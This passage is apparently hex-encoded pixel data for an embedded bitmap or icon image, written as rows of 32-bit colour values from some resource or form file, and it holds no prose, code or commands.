C7FF3431C7FF3431C7FF3431C7FF3431C7FF3431C7FF3431C7FF3431C7FF3431\n      C7FF3330C7FF3230C7FF3331CCFF555589FF2E73C3FF229EFFFF2098FFFF2198\n      FFFF2098FFFF2198FFFF2098FFFF2098FFFF2098FFFF2198FFFF2098FFFF2198\n      FFFF2197FFFF2198FFFF23A1FFFF5075A1FF4535AFFF3D23EEFF3F25EAFF4026\n      EAFF4027EAFF4027EAFF4025EAFF4023EAFF4024EAFF4026EAFF4027EAFF4027\n      EAFF4026EAFF3E25EAFF3E23F1FF5B5298FF3138B4FF222AEAFF222AE8FF232B\n      E8FF232DE8FF232DE8FF232CE8FF232CE8FF232CE8FF232CE8FF232DE8FF232D\n      E8FF242BE8FF222BE8FF2229EDFF4D529FFF3B388CFF3029ADFF312CABFF322D\n      ACFF322DACFF322DACFF322DACFF312DACFF312DACFF322DACFF322DACFF322D\n      ACFF322DACFF312BABFF2F29AFFF545285FF3663B8FF2B74FFFF2C72FCFF2B73\n      FCFF2D73FCFF2972FAFF3A78FFFF3978FFFF417CFFFF2671F5FF2E73FDFF2B73\n      FCFF2B73FCFF2A72FCFF2D77FFFF556F9CFF4030ADFF391FECFF3B21E8FF3B23\n      E8FF3D22E8FF3D1DE7FF3B29EAFF3942EBFF393BEBFF3C21E8FF3D20E8FF3B23\n      E8FF3C21E8FF3B21E8FF381EEFFF5A5097FF3332B0FF2321E9FF2522E5FF2725\n      E7FF2724E7FF2724E7FF2523E4FF211DDDFF2320E0FF2725E6FF2724E7FF2724\n      E7FF2625E7FF2522E5FF2420ECFF51519AFF383380FF2D249DFF2E279CFF3127\n      9DFF31299DFF31299DFF30299DFF32299DFF32299DFF30299DFF31299DFF3129\n      9DFF2F289DFF2F259CFF2D249FFF55517DFFC8C4B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFBFFB8E797FFE0F8C2FF7ACC59FFFFFFF6FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA3A19CFF3F2DACFF361BEDFF381CE9FF391E\n      E8FF391CE9FF3546ECFF2AA3F3FF2D8CF2FF2BA1F4FF2E83F1FF3825E9FF381D\n      E8FF391FE9FF381CE9FF361AEFFF584F96FF603D26FF6F340DFF70350FFF7136\n      11FF703711FF6C310BFF753C18FFAE8E72FF976C4EFF652600FF703711FF7037\n      11FF6F3610FF70350FFF70340CFF6B574CFF352D73FF261A8EFF291D8DFF291E\n      8EFF2B1F8EFF2B1F8EFF2B1F8EFF2A1F8EFF2A1F8EFF2B1F8EFF2B1F8EFF2B1F\n      8EFF2A1E8EFF271C8DFF251A90FF524E75FFB6B7B7FFFFFFFFFFFEFFFFFFFFFF\n      FFFFCCE6C0FFC8E3B9FFEFF7ECFF138D00FF8BC76FFFFFFFFFFFF2F9EEFFA6D3\n      91FFFFFFFFFFFEFFFFFFFFFFFFFF9A9A9AFF3F2CABFF3418EDFF351CE9FF361A\n      E8FF3629EAFF29A3F3FF353AECFF28A7F4FF2F61EEFF2C82F1FF2E70F0FF3818\n      E9FF361CE8FF361AE9FF3418EFFF584E96FF603A23FF6E2F07FF6D300AFF6E31\n      0DFF6C2E08FF804826FFFFFFFFFFFFFFFFFFFFFFFFFFCDB6A9FF652400FF6F32\n      0CFF6E310BFF6D300BFF6F2E06FF6A5648FF4E487EFF5047A1FF5148A0FF5249\n      9FFF5349A1FF5349A1FF5349A1FF5349A1FF5349A1FF5349A1FF5349A1FF5349\n      9FFF5249A0FF51469EFF5146A2FF605D7AFFB7B7B7FFFFFFFFFFFFFFFFFFFFFF\n      FFFF97CA75FF6AB43DFF44A108FF67B236FF409E03FF2D9600FF71B847FFECF5\n      E7FFFFFFFFFFFFFFFFFFFFFFFFFF9A9A9AFF3F2CACFF3A1DECFF371CE8FF3818\n      E8FF3250EDFF2B89F2FF3158EDFF24CBF6FF2C85F1FF3347ECFF28A5F4FF3726\n      EAFF371BE8FF361BE9FF3418EFFF584E96FF603B24FF72340CFF6E320DFF6E32\n      0EFF672702FFD1BEB2FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF713612FF6D31\n      0CFF6E320EFF6D310CFF6F2F09FF6A5649FFC4C4BEFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA3A4A1FFB7B7B7FFFFFFFFFFFFFFFFFFFFFF\n      FFFFDCEDD2FF82BF59FF50A71BFF45A20CFF4CA513FF69B43AFF88C363FFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9A9A9AFF3F2FACFF3D20EEFF3E23EAFF3D1D\n      E9FF324FEEFF2B81F0FF27B2F5FF343DECFF3060EEFF2A96F2FF2A99F2FF371F\n      E8FF371BE8FF361BE9FF3418EFFF584E96FF613D25FF75380EFF743911FF7338\n      11FF652701FFCEBAAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF703511FF6D31\n      0CFF6E320EFF6D310CFF6F2E09FF6A5649FFC4C4BFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA3A4A1FFB7B7B7FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFB7DAA2FF48A411FF5DAD2BFF429F08FF42A008FF98CB79FFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9A9A9AFF402FACFF4022EFFF4226EBFF4326\n      EAFF4236ECFF31A7F4FF345CEEFF2B88F2FF2E63EEFF2992F2FF2F62EFFF3716\n      E9FF351BE8FF3419E8FF3418EFFF584E96FF633F25FF783B0FFF783D12FF783E\n      14FF773C11FF844D27FFFFFFFFFFFFFFFFFFFFFFFFFFC6ADA0FF652400FF6D31\n      0EFF6C300DFF6B2F0AFF6E2F09FF6B5649FF4C457CFF5146A3FF5346A1FF5348\n      A3FF5548A2FF5247A3FF4E429FFF493F9BFF483E9CFF493E9CFF493E9CFF493E\n      9AFF483E9BFF463C99FF483D9EFF5F5B7AFFB7B7B7FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFC8E3B8FF65B234FF59AC28FF68B33CFF92C76FFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9A9A9AFF4030ACFF4426EFFF4528EAFF462A\n      EAFF4728EBFF4447ECFF38A4F5FF3A9EF4FF35AEF5FF3A77F1FF422CEAFF4325\n      EAFF4327EBFF4326E9FF4526F2FF584F96FF673F20FF834100FF834201FF8343\n      03FF824404FF803F00FF834506FFB58D5EFF9E6C38FF733100FF804002FF8041\n      03FF803F02FF814101FF864100FF6E5847FF383072FF352896FF362994FF392B\n      95FF382C95FF392C95FF392D96FF3A2E96FF392B95FF362A94FF342892FF3528\n      92FF352992FF362894FF372899FF544F75FFB9B8B7FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFCEE8BCFF4DA807FF45A400FFAED891FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9B9B9AFF4130ADFF4627F0FF4729ECFF482B\n      ECFF492CECFF4927EBFF4731ECFF4644EDFF463AECFF4A25EBFF492AECFF492C\n      ECFF482BECFF4729ECFF4626F3FF584F96FF3A2FA9FF3924EAFF3A27E7FF3C2A\n      E7FF3D29E7FF3D29E7FF3B27E5FF3824DEFF3A26E1FF3D29E7FF3D2AE7FF3D2A\n      E7FF3C29E7FF3A26E6FF3A25EDFF544E94FF3B3475FF3C2D9BFF3D2F99FF3E31\n      9AFF3F329AFF3F329AFF3F329AFF3F329AFF3F329AFF3F329AFF3F329AFF3F32\n      9AFF3E319AFF3C2F99FF3C2D9CFF555075FFC2C1B7FFFFFFFFFFFFFFFEFFFFFF\n      FEFFFFFFFEFFFFFFFFFFFFFFFFFF97D255FFFFFFFFFFFFFFFFFFFFFFFEFFFFFF\n      FEFFFFFFFEFFFFFFFEFFFFFFFFFFA19E9AFF412FADFF4624F0FF4627ECFF4827\n      ECFF4828ECFF4828ECFF4827ECFF4826ECFF4826ECFF4828ECFF4828ECFF4828\n      ECFF4727ECFF4625ECFF4624F3FF574E96FF3D2F9EFF3F24DBFF3F26D7FF4027\n      D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028\n      D7FF4027D7FF3F25D7FF4023DEFF554E8DFF3A3374FF3C2C9BFF3C2C9BFF3D2F\n      9AFF3D2E9AFF3D309CFF3D309CFF3D309CFF3D309CFF3D309CFF3D309CFF3D2E\n      9AFF3D2F9AFF3C2D99FF3B2B9DFF555074FF2638B3FF213FFFFF1E3CFAFF1F3D\n      FAFF213DFAFF213DFAFF213DFBFF3046FFFF2541FFFF213DFAFF213DFAFF213D\n      FAFF203DFAFF1E3CFAFF2140FFFF4B5495FF493AB1FF6147F4FF5D43F0FF5E45\n      F0FF5E44F0FF5E46F0FF5E46F0FF5E46F0FF5E46F0FF5E46F0FF5E46F0FF5E44\n      F0FF5E45F0FF5D44F0FF6045F5FF645BA4FF453AA5FF5B47E0FF5843DDFF5845\n      DDFF5944DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5944\n      DDFF5845DDFF5744DDFF5945E1FF615B9CFF443C7AFF574BA9FF5549A7FF564A\n      A7FF564AA7FF5649A7FF5649A7FF5649A7FF5649A7FF5649A7FF5649A7FF564A\n      A7FF564AA7FF5549A7FF564AA9FF615D83FF3F4EC0FF5F75FFFF5A6EFFFF5B70\n      FFFF5B6FFFFF5B6FFFFF5B6FFFFF5B6FFFFF5B6FFFFF5B6FFFFF5B6FFFFF5B6F\n      FFFF5970FFFF5A6FFFFF5D73FFFF5F68A9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFFFFFFFFFC4C4C4FFC6C6C6FFC6C6\n      C6FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5\n      C5FFC6C6C6FFC6C6C6FFC3C3C3FFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFF2F781EFF1A9D01FF1B9902FF1C99\n      03FF1B9902FF1C9A02FF1C9A02FF1C9A02FF1C9A02FF1C9A02FF1C9A02FF1B99\n      02FF1C9903FF1B9A02FF1B9D00FF507947FF6E4624FF904605FF8A3F00FF893E\n      00FF8D4405FF8F4709FF8E4506FF8B4000FF8B4000FF8E4506FF8F4709FF8D44\n      05FF893E00FF8A3E00FF924505FF735D4AFFAEAEAEFFA6A6A6FF949494FFDDDD\n      DDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFD9D9D9FF8E8E8EFF979797FFA1A1A1FF302F40FF3A28CEFF3E29E9FF3D29\n      DCFF3E29DCFF3E29DCFF3E29DCFF3E29DCFF3E29DCFF3E29DCFF3E29DCFF3E29\n      DCFF3D2ADCFF3C29DCFF3D29E2FF5A548DFF2C7122FF158606FF178708FF1887\n      09FF19870AFF178608FF178608FF168702FF188805FF168507FF19870AFF1987\n      0AFF188709FF178608FF158806FF4D7546FF907862FFCFAF96FFF8F5F1FFFFFF\n      FFFFD9C4B0FFB9906CFFD2B8A3FFFCFCFAFFFCFCFAFFD2B8A3FFB9906CFFD9C4\n      B0FFFFFFFFFFF8F4F1FFD0B197FF86786DFF4E4E4EFFC4C4C4FF888888FF9D9D\n      9DFFFFFFFFFFFFFFFFFFFFFFFFFFFAF8F6FFFDFEFDFFFFFFFFFFFFFFFFFFFFFF\n      FFFF6C6C6CFF909090FFE8E8E8FF6A6A6AFF2A2B28FF101102FF271E73FF3D27\n      E6FF3A27D6FF3A27D3FF3A27D3FF3A27D3FF3A27D3FF3A27D3FF3A27D3FF3A27\n      D2FF3926D2FF3825D2FF3723D8FF585290FF22641FFF057300FF067100FF0973\n      01FF077201FF217B1AFF158005FF326E65FF136C29FF2D8322FF067200FF0973\n      02FF077301FF077200FF057400FF486E46FF96806DFFB4855CFF8C480FFF8D47\n      0FFFA36B3FFFC7A58AFFAB784EFF8D480FFF8D480FFFAB784EFFC7A58AFFA36B\n      3FFF8D470FFF8C480EFFB6875CFF8B7D74FF6E6E6EFF787878FF383838FFFFFF\n      FFFFFFFFFFFFD9C6BAFF854619FF814011FF803E0EFF8D5227FFEBE4DEFFFFFF\n      FFFFFFFFFFFF808080FF595959FF7C7C7CFF282828FF10100FFF0F1005FF1614\n      23FF3321C2FF3923DEFF3521D2FF3522D2FF3522D2FF3521D2FF3521D2FF3421\n      D2FF3420D2FF321FD0FF321CD7FF57508FFF739767FF8EC67CFF8DC47BFF8EC3\n      7CFF8EC57CFF8FC879FF6B8B92FF6E68E9FF353CC4FF9CC38EFF8DC57BFF8EC5\n      7CFF8EC37CFF8DC47BFF8FC87CFF758A70FFA5988EFFF2E9E2FFF5F1ECFFECE3\n      DBFFF9F7F5FFDAC5B4FFF4EFEBFFF2E9E3FFF2E9E3FFF4EFEBFFDAC5B4FFF9F7\n      F5FFECE3DBFFF5F1EDFFF5ECE3FF918A83FF757575FF1B1B1BFFFFFFFFFFFFFF\n      FFFFD2BCADFF6B2300FF824312FF834515FF834515FF804110FF691F00FFEEE7\n      DCFFFFFFFFFFC8C8C8FF3C3C3CFF747474FF242424FF0C0C0CFF0F0F0FFF0E0F\n      0BFF0C0E00FF201670FF2E1AD1FF2B18C8FF2B17C8FF2B17C8FF2B17C8FF2B18\n      C8FF2A16C8FF2914C8FF2712D1FF554E8DFF38359EFF2B26D3FF2E29CFFF2F2A\n      D0FF302BD0FF322CD4FF120F99FF6B6ADAFF3837D0FF221E9EFF312BD4FF302B\n      D0FF2F2AD0FF2D28CFFF2C27D5FF55548EFF7A5534FF8F470AFFAC7640FFB88A\n      57FF914B0DFF9A5C29FF90450BFFB5784DFFB5784DFF90450BFF9A5C29FF914B\n      0DFFB88A57FFAD7640FF904809FF7A6654FFC4C4C4FFFFFFFFFFFFFFFFFFFFFF\n      FFFF6D2200FF884000FF8A4300FF854001FF803D0EFF803D0EFF7B3702FF7B41\n      30FFFFFFFFFFFFFFFFFFFFFFFFFFA2A2A2FF252525FF090909FF0C0C0CFF0D0D\n      0DFF0E0E0EFF000000FFF9FBEBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA4A59EFF212192FF0808C1FF0909BCFF0A0A\n      BCFF0C0CBDFF0C0CC9FF070727FF5A5ADFFF1616BDFF0B0B36FF0C0CC8FF0A0A\n      BDFF0A0ABCFF0808BCFF0404C1FF484886FFBEBEB7FFF8FBFFFFA7A3FAFF9691\n      F4FFE0E5FFFFFFFFFAFFE9FFFFFF96F4FFFF96F4FFFFE9FFFFFFFFFFFAFFE0E4\n      FFFF9790F4FFA7A2FAFFFAFCFFFFA1A09BFFB7B7B7FFFFFFFFFFFFFFFFFFEFE6\n      DAFF6A2100FF3C1AC7FF3214E2FF622E5BFF8B4400FF823F0CFF894300FF4608\n      3CFFFFFFFFFFFFFFFFFFFFFFFFFF9A9A9AFF242424FF0C0C0CFF0D0D0DFF0E0E\n      0EFF101010FF000000FFEBEBEBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF212192FF0909C1FF0C0CBFFF0B0B\n      BFFF0A0ABCFF0A0AC8FF07072BFF5555DDFF1616BFFF0A0A38FF0A0AC8FF0909\n      BDFF0808BCFF0606BCFF0303C1FF474786FF2F219DFF250DD2FF2D17D0FF2B16\n      CFFF2402CBFF0B9EE1FF0DCBF2FF18D3FDFF18D3FDFF0ECBF2FF0D9EE2FF2304\n      CAFF2611CEFF230ECEFF1B06D1FF4F488DFFB7B7B7FFFFFFFFFFFFFFFFFFF7EB\n      C9FF2C009CFF3516D6FF3A19CDFF3013E9FF5F2E61FF864200FF733730FF1000\n      CEFFFFFFFFFFFFFFFFFFFFFFFFFF9A9A9AFF252525FF0E0E0EFF111111FF1111\n      11FF0F0F0FFF000000FFEBEBEBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF4646A3FF4646DEFF4747DAFF4949\n      DBFF4A4ADCFF4A4ADDFF1B1BA4FF6E6EDBFF3939CFFF3030A9FF4545DAFF4444\n      D7FF4343D6FF4343D6FF4141DBFF5C5C90FF3D2F9EFF3922D7FF3B26D5FF3C28\n      D5FF3D24D5FF3154D2FF21D2EEFF1ECFF1FF1DCDF1FF1DD5EFFF2754CEFF3016\n      CEFF2F1BD0FF2D19CEFF2C18D5FF564E8DFFC7C7C7FFFAFAFAFFFFFFFFFFFFFF\n      FFFF370CB5FF411CCFFF3E1CCAFF3A17C9FF3415D9FF2E11E4FF2B0BDAFF4828\n      CFFFFFFFFFFFFFFFFFFFFDFDFDFFA2A2A2FF252525FF0F0F0FFF121212FF1414\n      14FF151415FF000000FFECEBF6FFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFB\n      FBFFFBFBFBFFFBFBFBFFFFFFFFFFA1A0A4FF65655DFF7A7A6CFF79796BFF7B7B\n      6EFF7B7B6DFF7B7B6AFF9191B1FF6F6FECFF3838C2FFBEBEAEFF757567FF7C7C\n      6EFF7B7B6DFF7A7A6CFF7A7A6CFF6E6E69FF3F309EFF3C26D8FF3E28D6FF3F2A\n      D6FF3F2BD6FF4021D5FF385AD7FF2FA7E3FF2DA7E3FF3558D6FF3C1DD2FF3B27\n      D4FF3C27D5FF3C26D5FF3E26DBFF564F8FFF6A6A6AFF202020FFFAFAFAFFFFFF\n      FFFFC8BEF1FF2400C5FF4721CEFF4C26CFFF4925CFFF421ACCFF1F00C4FFECE9\n      FAFFFFFFFFFFBCBCBCFF424242FF6F6F6FFF262626FF101010FF131313FF1311\n      16FF0D0A17FF5C6E17FF85A507FF7B9D03FF7A9C01FF799B00FF779900FF7799\n      00FF789900FF789B00FF80A000FF6D7948FF202020FF070707FF0A0A0AFF0C0C\n      0CFF070707FF6A6A6AFF25251DFF2D2D5DFF101025FF6B6B68FF222222FF0B0B\n      0BFF0C0C0CFF0A0A0AFF060606FF474747FF3F309EFF3F27D9FF4029D5FF412B\n      D7FF422CD7FF422AD7FF451BD5FF3E3CD5FF4225D2FF4421D6FF422CD7FF422C\n      D7FF412BD7FF3F29D5FF3F26DCFF564F8FFF6B6B6BFF696969FF1E1E1EFFFFFF\n      FFFFFFFFFFFFCFC6F3FF4019CDFF2E01C8FF2C00C7FF502CD1FFEDE9F9FFFFFF\n      FFFFFFFFFFFF777777FF424242FF787878FF252525FF101010FF080613FF282E\n      15FF8BA716FF93B117FF8DAA17FF8DAA17FF8DAA17FF8DAA17FF8DAA17FF8DAA\n      16FF8CAA15FF8CA913FF8FAD0FFF707C49FF232323FF0B0B0BFF0E0E0EFF1010\n      10FF111111FF0F0F0FFF0E0E0EFF0E0E0AFF10100EFF090909FF141414FF1111\n      11FF101010FF0E0E0EFF0A0A0AFF474747FF3D2F9EFF3F24DBFF3F27D7FF4027\n      D7FF4028D7FF3F2CD8FF2D8FD9FF29CAEBFF29D0EBFF3566D9FF4221D7FF4028\n      D7FF4027D7FF3F25D7FF4024DEFF554E8DFF2A2A2AFF595959FF717171FF7070\n      70FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFF353535FF6D6D6DFF8E8E8EFF5C5C5CFF201F23FF04010BFF5C6D0EFF99BA\n      10FF8FAC11FF8DAB11FF8DAB11FF8DAB11FF8DAB11FF8DAB11FF8DAB11FF8DAB\n      11FF8DAB10FF8CA90EFF90AE0AFF707B47FF313131FF333333FF313131FF3333\n      33FF333333FF333333FF333333FF333333FF333333FF333333FF333333FF3333\n      33FF333333FF313131FF323232FF545454FF453AA5FF5B47E0FF5843DDFF5844\n      DDFF5A43DDFF5165DBFF5749DDFF5C36DBFF564BDBFF516EDFFF506CDDFF5A43\n      DDFF5844DDFF5744DDFF5945E1FF615B9CFFB4B4B4FF6B6B6BFF626262FFCCCC\n      CCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFC6C6C6FF5D5D5DFF565656FFB0B0B0FF3E422FFF9BB433FFA1BE31FF9CB5\n      33FF9CB533FF9CB533FF9CB533FF9CB533FF9CB533FF9CB533FF9CB533FF9CB5\n      33FF9CB533FF9BB531FF9EB732FF7C8955FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC4C4C4FFC5C5C5FFC5C5\n      C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5C5FFC5C5\n      C5FFC5C5C5FFC5C5C5FFC3C3C3FFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFC0C0C0FFC0C0\n      C0FFBFBFC0FFBFBFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFC0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFFC2C3BCFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9FA09AFF3C4CAEFFDFE5FFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFECF1FFFF5B6297FF5B7D25FF6BB100FF69AA00FF69A9\n      03FF69A802FF69A802FF69A802FF69A802FF69A802FF69A802FF69A802FF69A8\n      02FF6AA903FF69A902FF6BAD00FF697E47FF99991EFFDAD401FFD6D102FFD5D1\n      